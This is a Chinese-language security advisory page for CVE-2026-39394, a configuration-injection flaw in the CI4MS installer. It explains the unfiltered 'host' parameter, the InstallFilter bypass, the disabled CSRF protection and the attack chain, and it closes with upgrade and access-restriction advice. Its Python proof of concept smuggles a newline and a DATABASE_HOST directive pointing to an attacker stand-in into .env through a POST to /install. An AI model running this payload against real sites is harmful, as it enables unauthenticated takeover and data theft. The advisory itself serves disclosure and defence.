IPBUF安全漏洞报告
English
CVE-2026-39394 CVSS 8.1 高危

CVE-2026-39394 CI4MS .env文件配置注入漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-39394
漏洞类型
配置注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CI4MS

相关标签

配置注入CI4MSCodeIgniter远程代码执行无需认证

漏洞概述

CI4MS是基于CodeIgniter 4开发的CMS骨架应用。在0.31.4.0版本之前,系统安装接口存在严重安全缺陷。由于`Install::index()`控制器未对用户提交的`host`参数进行有效验证,且未去除换行符,攻击者可利用该漏洞向`.env`配置文件注入任意恶意指令。结合CSRF保护缺失及安装过滤器绕过问题,未经认证的攻击者可远程利用此漏洞接管系统。

技术细节

该漏洞位于CI4MS的安装流程中,核心问题在于`Install::index()`控制器处理`host` POST参数时缺乏安全过滤。代码直接将该参数传递给`updateEnvSettings()`函数,该函数使用`preg_replace()`将参数写入`.env`文件。由于未过滤换行符(如`\n`),攻击者可以在参数中插入换行,从而在`.env`文件中追加新的配置项。此外,尽管系统使用了`InstallFilter`来限制安装页面的访问,但当`cache('settings')`为空(例如缓存过期或全新部署)时,该过滤器可以被绕过。同时,安装路由的CSRF保护被显式禁用。攻击者通过发送特制的HTTP POST请求,注入诸如修改应用密钥、设置恶意自动加载路径或更改数据库配置等指令,可能导致远程代码执行(RCE)或敏感信息泄露。

攻击链分析

STEP 1
侦察与发现
攻击者识别出目标网站正在使用CI4MS CMS,且版本低于0.31.4.0。
STEP 2
绕过过滤器
攻击者确认目标系统的`cache('settings')`为空(例如新部署或缓存过期),从而绕过`InstallFilter`对安装页面的访问限制。
STEP 3
发送恶意请求
攻击者向`/install`路由发送POST请求,在`host`参数中包含换行符(\n)及恶意的配置指令。
STEP 4
注入配置
服务器端通过`preg_replace()`将带有换行符的参数写入`.env`文件,导致恶意配置被写入环境配置中。
STEP 5
执行攻击
利用注入的配置(如修改自动加载路径或数据库地址),攻击者实现远程代码执行或窃取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_cve_2026_39394(target_url): """ PoC for CVE-2026-39394: CI4MS Configuration Injection """ # The vulnerable endpoint is typically /install # The 'host' parameter is vulnerable to newline injection install_url = f"{target_url}/install" # Constructing a malicious payload containing a newline character # This will inject a new configuration directive into the .env file # Example: setting a custom database or malicious auto-load path malicious_host_param = "evil.com\nDATABASE_HOST=attacker-controlled-ip" payload = { "host": malicious_host_param, # Other parameters might be required depending on the form, but 'host' is the vector # "username": "admin", # Example placeholder # "password": "password" # Example placeholder } try: response = requests.post(install_url, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {install_url}") print(f"[+] Payload injected: {malicious_host_param}") print("[+] Check the .env file to verify injection.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with the actual target exploit_cve_2026_39394(target)

影响范围

CI4MS < 0.31.4.0

防御指南

临时缓解措施
建议立即将CI4MS升级至0.31.4.0或更高版本以修复此漏洞。如果无法立即升级,应在Web服务器层面(如Nginx或Apache)严格限制对`/install`路径的访问,仅允许内部IP访问,或直接删除安装目录下的相关文件,确保生产环境不再运行安装逻辑。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表